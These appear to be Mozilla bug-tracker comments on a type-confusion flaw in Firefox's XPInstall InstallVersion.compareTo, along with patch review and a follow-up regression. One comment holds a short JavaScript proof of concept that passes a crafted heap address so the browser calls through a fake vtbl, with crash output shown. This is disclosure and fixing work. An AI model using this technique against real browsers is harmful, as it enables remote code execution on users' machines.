note that i'm backing out some silly changes brendan made with context which
should make it clear *why* i'm backing them out. they aren't strictly related
to this bug, but those code changes introduced poor error reporting for cases
which the code already handled. if someone really cares, they can be split into
another bug.

[SECURITY ALERT]

This bug is possibly remotely exploitable if the address of
the heap memory is predictable (depends on OS/libc/etc...).
function exploitCode() {
  var xxAddress = 0x00400000;
  //
  // struct vtbl { void (*code)(void); };
  // struct data { struct vtbl *pvtbl; };
  //
  // struct data *pdata = (struct data *)(xxAddress & ~0x01);
  // pdata->pvtbl->code(pdata);
  //
  (new InstallVersion).compareTo(new Number(xxAddress >> 1));
}

-----

On my machine (Firefox 1.0.4/Win98):

// struct data *pdata = (struct data *)(xxAddress & ~0x01);
dwords@0x00400000 = { 0x00905a4d, 0x00000003, 0x00000004, 0x0000ffff };
// struct vtbl *pvtbl = pdata->vtbl;
dwords@0x00905a4d = { 0xfdfffdff, 0xfd2822ff, 0xfdfffdff, 0xfdfffdff };

FIREFOX caused an invalid page fault in
module <unknown> at 0000:fdfffdff.

The attacker can construct fake data/vtbl structures on the heap and
its address can be given to the buggy code using JavaScript Number
object (only when he/she can predict the address of the fake data).

What I was getting at was change the above to

      if (JSVAL_IS_OBJECT(argv[0]) && 
	  JS_InstanceOf(cx, JSVAL_TO_OBJECT(argv[0]), &InstallVersionClass,
nsnull))

If you like you could instead change the ConvertJSValToObj() function to take
the JSClass structure instead of the string typename and do the instance check
in the converter. You'd get the string for the error messages from the JSClass
struct. If anyone else were calling that function that's what I'd want you to
do, but nsJSInstallVersion is the only consumer.
Timeless:  Please take a look and see if you can get a new patch reviewed soon.
 Thanks.

InstallVersionClass also needs JSCLASS_PRIVATE_IS_NSISUPPORTS flag.
http://lxr.mozilla.org/seamonkey/source/xpinstall/src/nsJSInstallVersion.cpp#74

There are some unused prototype declarations of ConvertJSValToObj().
These declarations should be updated or removed to prevent confusion.

| JSClass InstallClass = {

|+  JSCLASS_HAS_PRIVATE | JSCLASS_PRIVATE_IS_NSISUPPORTS,
|   JS_PropertyStub,

I think that this change caused bug 298054.
InstallClass's private data is nsInstall*, which is not
XPCOM object and hence does not expose nsISupports interface.
Such invalid flag confuses nsScriptSecurityManager::doGetObjectPrincipal().

Thanks for catching this. This leads to a null de-ref crash that should not be
exploitable, but timeless is going to check in the forgotten patch.
